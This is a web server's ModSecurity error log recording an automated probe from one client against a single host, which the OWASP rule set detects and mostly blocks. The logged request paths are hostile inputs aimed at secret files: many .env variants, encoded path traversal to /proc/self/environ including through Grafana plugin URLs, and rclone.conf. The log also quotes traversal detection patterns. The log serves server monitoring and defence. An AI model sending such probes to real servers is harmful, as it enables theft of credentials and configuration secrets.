[Mon Oct 26 10:03:26.688756 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at9drrnmpHTSsAiKbb2bwgAAAAc"]
[Mon Oct 26 10:03:26.689163 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at9drrnmpHTSsAiKbb2bwgAAAAc"]
[Mon Oct 26 10:03:26.689410 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at9drrnmpHTSsAiKbb2bwgAAAAc"]
[Mon Oct 26 10:03:26.690136 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at9driDi6FEnz4zo40NhcAAAAAk"]
[Mon Oct 26 10:03:26.690747 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at9driDi6FEnz4zo40NhcAAAAAk"]
[Mon Oct 26 10:03:26.691086 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at9driDi6FEnz4zo40NhcAAAAAk"]
[Mon Oct 26 10:03:26.692122 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at9drrGXTlA520hhAgG78gAAAA8"]
[Mon Oct 26 10:03:26.692399 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at9drrGXTlA520hhAgG78gAAAA8"]
[Mon Oct 26 10:03:26.692566 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ_gAAAAs"]
[Mon Oct 26 10:03:26.692632 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at9drrGXTlA520hhAgG78gAAAA8"]
[Mon Oct 26 10:03:26.693013 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ_gAAAAs"]
[Mon Oct 26 10:03:26.693419 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ_gAAAAs"]
[Mon Oct 26 10:03:26.725652 2026] [core:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Mon Oct 26 10:03:26.726341 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at9drgt8dJFpdHay4jzKfgAAAAA"]
[Mon Oct 26 10:03:26.726811 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at9drgt8dJFpdHay4jzKfgAAAAA"]
[Mon Oct 26 10:03:26.727383 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at9drgt8dJFpdHay4jzKfgAAAAA"]
[Mon Oct 26 10:03:26.787023 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39308] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrnmpHTSsAiKbb2bwwAAAAc"]
[Mon Oct 26 10:03:26.787143 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrnmpHTSsAiKbb2bwwAAAAc"]
[Mon Oct 26 10:03:26.787349 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrnmpHTSsAiKbb2bwwAAAAc"]
[Mon Oct 26 10:03:26.787643 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrnmpHTSsAiKbb2bwwAAAAc"]
[Mon Oct 26 10:03:26.814034 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at9drokBAlsUe0HxPuSmGQAAAA4"]
[Mon Oct 26 10:03:26.814474 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at9drokBAlsUe0HxPuSmGQAAAA4"]
[Mon Oct 26 10:03:26.814804 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at9drokBAlsUe0HxPuSmGQAAAA4"]
[Mon Oct 26 10:03:26.859613 2026] [core:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39308] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Mon Oct 26 10:03:26.861335 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9drgt8dJFpdHay4jzKfwAAAAA"]
[Mon Oct 26 10:03:26.861878 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9drgt8dJFpdHay4jzKfwAAAAA"]
[Mon Oct 26 10:03:26.862089 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9drgt8dJFpdHay4jzKfwAAAAA"]
[Mon Oct 26 10:03:26.862151 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9drgt8dJFpdHay4jzKfwAAAAA"]
[Mon Oct 26 10:03:26.862166 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9drgt8dJFpdHay4jzKfwAAAAA"]
[Mon Oct 26 10:03:26.864295 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39410] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9drrGXTlA520hhAgG79AAAAA8"]
[Mon Oct 26 10:03:26.864367 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39410] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9drrGXTlA520hhAgG79AAAAA8"]
[Mon Oct 26 10:03:26.864421 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39410] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9drrGXTlA520hhAgG79AAAAA8"]
[Mon Oct 26 10:03:26.864900 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39410] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9drrGXTlA520hhAgG79AAAAA8"]
[Mon Oct 26 10:03:26.865113 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39410] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at9drrGXTlA520hhAgG79AAAAA8"]
[Mon Oct 26 10:03:26.878371 2026] [core:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Mon Oct 26 10:03:26.919558 2026] [core:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Mon Oct 26 10:03:26.926772 2026] [core:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39410] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Mon Oct 26 10:03:26.932660 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at9drtdWtrCZuT8sbNQ5cAAAACU"]
[Mon Oct 26 10:03:26.932951 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at9drtdWtrCZuT8sbNQ5cAAAACU"]
[Mon Oct 26 10:03:26.933160 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at9drtdWtrCZuT8sbNQ5cAAAACU"]
[Mon Oct 26 10:03:26.955060 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at9drokBAlsUe0HxPuSmHAAAAA4"]
